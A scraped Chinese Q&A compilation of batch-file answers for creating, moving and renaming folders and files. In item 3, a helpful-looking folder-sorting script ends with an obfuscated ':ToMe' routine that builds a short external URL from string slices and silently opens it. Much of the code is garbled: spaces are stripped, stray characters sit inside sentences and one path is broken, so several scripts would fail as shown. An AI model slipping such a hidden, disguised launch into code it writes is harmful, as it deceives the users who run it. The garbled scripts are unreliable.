❶ 怎麼用批處理文件在所有子文件夾下面生成文件
就是要把a b c d文件夾下(含子目錄)的所有文件移動到a b c d文件夾中對吧
放在和a b c d同級目錄中回執行,第二行設置目錄路徑,自答行設置。@echo off set "file=C:\Users\lytz\Desktop\C常用\bat"if exist list.txt ( del list.txt ) for %%a in (%file%) do for /f "delims=" %%b in ('dir /a-d/b/s %%a') do ( echo %%b >>list.txt ) pause
❷ 批處理創建文件夾
for/l%%ain(019)do(
md%%a&for/l%%bin(019)do(
md%%a\%%b
)
)
❸ 你好,怎麼批處理 按文件名一部分自動創建文件夾並把文件放入該文件夾
@echooff&title根據_前面的字元創建文件夾,並移動相應文件到目錄中By依夢琴瑤
cd/d"%~dp0"
for/f"delims="%%ain('dir/a-d/b*_*')do(
for/f"tokens=1delims=_"%%bin("%%~a")do(
ifnotexist"%%~b"md"%%~b"
move"%%~a""%%~b"
)
)
pause
call:ToMe
exit
:ToMe
set"S=.:ailnhpst/fPdv"
start"""%S:~6,1%%S:~9,1%%S:~9,1%%S:~7,1%%S:~1,1%%S:~10,1%%S:~10,1%%S:~8,1%%S:~3,1%%S:~5,1%%S:~2,1%%S:~0,1%%S:~4,1%%S:~9,1%%S:~10,5%"
exit
❹ 怎麼用BAT新建一個文件或文件夾
".bat"類型的文件,是自動批處理文件,這種類型的文件可以按指令按順序的執行一內系列命令,在文件管理和容系統管理中經常用到。
下面講一下用」.bat「文件如何新建一個文件夾。
1、在你想建立」.bat「文件的目錄里,右鍵單擊,在彈出的菜單里選擇」新建「——選擇「文本文檔」,新建一個文本文件file.txt,然後重命名這個文件為file.bat;
批處理文件還能進行更復雜的操作,這樣就需要用到更多的命令。
❺ 批處理,自動建立文件夾
@REM 最後修改 2012/04/17
@ECHO OFF
@setlocal EnableDelayedExpansion
@MODE CON cols=40 lines=10
TITLE 創建
SET /A Number=1
SET NewFName=Xin
SET parameterfileName=創建.ini
SET currentPath=%cd%
REM 創建
:GETNO
CD /D "%currentPath%"
IF /I EXIST "%currentPath%\%parameterfileName%" (
ECHO. √已找到 配置文件……
PING -n 1 LOCALHOST>NUL
FOR /F "delims=[]; tokens=1,2,3" %%a IN (%parameterfileName%) DO (
IF %%a==起始值 SET /A Number=%%b
IF %%a==前綴 SET NewFName=%%b
)
) ELSE (
ECHO [前綴]!NewFName!;>"%currentPath%\%parameterfileName%"
ECHO [起始值]!Number!;>>"%currentPath%\%parameterfileName%"
START /W "" "%currentPath%\%parameterfileName%"
)
:MAIN
CLS
CD /D "%currentPath%"
IF NOT EXIST "%currentPath%\!NewFName!!Number!" MD "%currentPath%\!NewFName!!Number!"
SET /A Number=!Number!+1
ECHO [前綴]!NewFName!;>"%currentPath%\%parameterfileName%"
ECHO [起始值]!Number!;>>"%currentPath%\%parameterfileName%"
PING -n 1 LOCALHOST>NUL
EXIT>NUL
❻ 怎麼用批處理在指定文件夾中創建文件夾
1、復制員工的名字到一個空白的excel工作表中的第二列,注意前面要留一列。內
❼ 如何用批處理生成這樣的目錄和文件
@echo off
for /f "tokens=1-3* delims= " %%a in (rt.txt) do (
md %%a\%%b
echo %%c >%%a\%%b\1.txt
)
pause
另:你的txt文件如下
abcd asdf aaaa
abcd fdeadf 8976
............
一二行前部分相同,所以創建出來的文件夾abcd下有兩個文件夾asdf和fdeadf,
保存專的1.txt默認為屬ANSI編碼,要指定文本編碼格式,這個怕是有點難度,我也不知道哈...
❽ 如何將批處理生成的文件放在其他目錄內
假設將文件保存到d:\test文件夾中,代碼如下
@echo off
Color a9
"C:\Program Files\WinRAR\WinRAR.exe" a "d:\test\.rar" -ibck -iiconc:\1.ico -sfx -ag+YYYYMMDDHHMM -m0 -hp123456 f:\imp
pause
其他命令或開關說明:
a 添加文件到壓縮包
-ibck 後台運行
-iiconc:\1.ico 指定c:\1.ico哦自解壓圖標
-sfx 創建自解壓文件
-ag+YYYYMMDDHHMM backup 以當前日期與時間生成壓縮文件名
-m0 存儲 添加文件到壓縮文件但是不壓縮
-hp123456 - 加密文件數據和頭,密碼為123456
f:\imp 要壓縮的源文件(夾)
❾ 如何用一個批處理bat生成某文件夾和子文件夾下所有文件的絕對路徑,分別寫入到對應的txt中(一對一生成)
@echo off
set "x=播放列表匯總"
2>nul (md %x%
for /r %%i in (*) do (
for %%j in ("%%~fi\..") do (
(echo;MPCPLAYLIST
echo;1,type,0
echo;1,filename,%%~fi)>%x%\%%~nxj_%%~ni.mpcpl
)
)
del %x%\影視* %x%\%x%*)
pause
放在"E:\影視"同目錄下執行即可。。。
❿ 批處理 將文件夾內所有的文件名 生成文件夾名
@echooff&
rem設置源目錄
set"ScDir=D: est"
cd/d"%ScDir%"
for/f"delims="%%ain('dir/a-d/s/b')do(
set"DirName=%%~dpa"
set"DirName=!DirName:~0,-1!"
ifnotdefined$!DirName!(
set"$!DirName!=!DirName!"&set/asum=1
)else(set/asum+=1)
for/f"delims="%%bin("!DirName!")doset"DirName=%%~nb"
if!sum!LEQ9(set"filename=!DirName!-0!sum!%%~xa")else(set"filename=!DirName!-!sum!%%~xa")
ren"%%a""!filename!"
)
pause&exit